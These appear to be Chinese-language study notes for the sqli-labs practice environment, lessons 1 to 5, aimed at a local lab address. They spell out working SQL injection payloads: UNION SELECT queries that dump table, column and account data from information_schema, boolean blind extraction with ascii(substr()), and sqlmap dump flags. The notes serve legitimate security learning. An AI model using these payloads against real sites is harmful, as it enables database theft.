sqli-labs/Less-
sqli-labs/Less-1
第一关
判断是不是整形(数字型)注入还是字符型注入
http://192.168.111.129/sqli-labs/Less-1/index.php?id=1‘
报错语句,用单引号括起来的的
猜测提交的参数是 1’
【- -+】 是注释,其实- -和#才是注释,在url中,+会变成空格,
【- -’】也可以
那为什么不能用#号呢,因为url中#号是用来指导浏览器动作的(例如锚点),对服务器端完全无用。所以,HTTP请求中不包括#
将#号改成url的编码%23就可以了。
Order by是用来猜列数的。这个列数用于union 联合查询,通过尝试我们能发现有三列,
- 为什么没有出现显示位呢?
- Select 1,2,3的作用是什么呢?
首先union是个联合查询,左边是个查询select语句,右边是个查询select语句,union是个并集,union all默认返回重复的结果集,union 不重复。在网页上由于显示位只会显示第一行(第一个结果)的数据,所以我们要使左边查不到,变成空集,这样就会显示右边的数据了。
- 查询数据库
- 爆表名
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
information_schema 是个什么库呢?
- 在information_schema库中先看看schemeta表
- 在information_schema库中看看tables表
- 在information_schema库中看看columns表
TABLE_SCHEMA
表格所属的库。
TABLE_NAME
表名
COLUMN_NAME
字段名
这个表有这样两个字段,库名、表名,如上,所以就可以爆出security中的所有表。
- 看看这个为什么会报错?
自己sql语句没学好、select 属性1、属性2、属性3 from 表 where xxx
http://192.168.111.129/sqli-labs/Less-1/index.php?id=-1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘security’,3%23
- 下面才是正确的实例:
http://192.168.111.129/sqli-labs/Less-1/index.php?id=7’ union select 1,group_concat(t.table_name) ,group_concat(c.column_name) from information_schema.tables t,information_schema.columns c where t.table_schema=‘security’ and c.table_name=‘users’%23
- 爆出所有账户密码
第二、三、四关
- 2关
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’ LIMIT 0,1’ at line 1
说明1这个参数没有单引号
这里使union左边为空集必须得id等于负数,
- 3关
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’) LIMIT 0,1’ at line 1
说明参数使1‘,且参数带了单引号
- 4关
本题最开始试了好多比如id=,id=1‘,id=’,id=%23均不行
- 为什么呢?
发现参数被“”双引号括起来了 ,所以“”里面很多东西都会被认为是字符串的内容,现在我们就尝试 \ 和”
所以又学到了一个新的姿势。
第五关(盲注)
经过几番调试,发现页面只有三种状态,那就是“you are in”, ”空白”,报错
然后可以判断这属于bool 类型的盲注,因为没有数据显示
- 为什么id=‘1a’返回真值呢,而且id=‘11a’真值,id=‘9a’真值,id=‘20a’假
Sql特性
开始注入、爆库名
http://192.168.111.129/sqli-labs/Less-5/index.php?id=1’ and ascii(substr(database(),1,1))>120 %23 返回假
112真 113真 114真 115假,说明database()第一个字符的ascii码是115,可知是s
- 看看substr函数,得到长度
接受三个参数,字符串、字串的第一个字符的起始位置、字串的字符个数
ascii(substr(database(),X,1))>0 X遍历数字可以得到database()的长度
ascii(substr(database(),x,1))>Y x属于[1,len(database())],Y的话一般来说是字母a-Z,用二分法【65,122】
- 爆表名
http://192.168.111.129/sqli-labs/Less-5/index.php?id=1’ and ascii(substr( (select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>0 %23
两个注意的点 第一个:select查询语句要()括起来;第二个:limit 0.1限制一个结果
Sqlmap
Sqlmap -u 注入点 --current-db
-D 指定数据库名称
–tables 列出数据库中的表
-T 指定表名称
–columns 列出表中字段
-C 指定字段
–dump 列出字段数据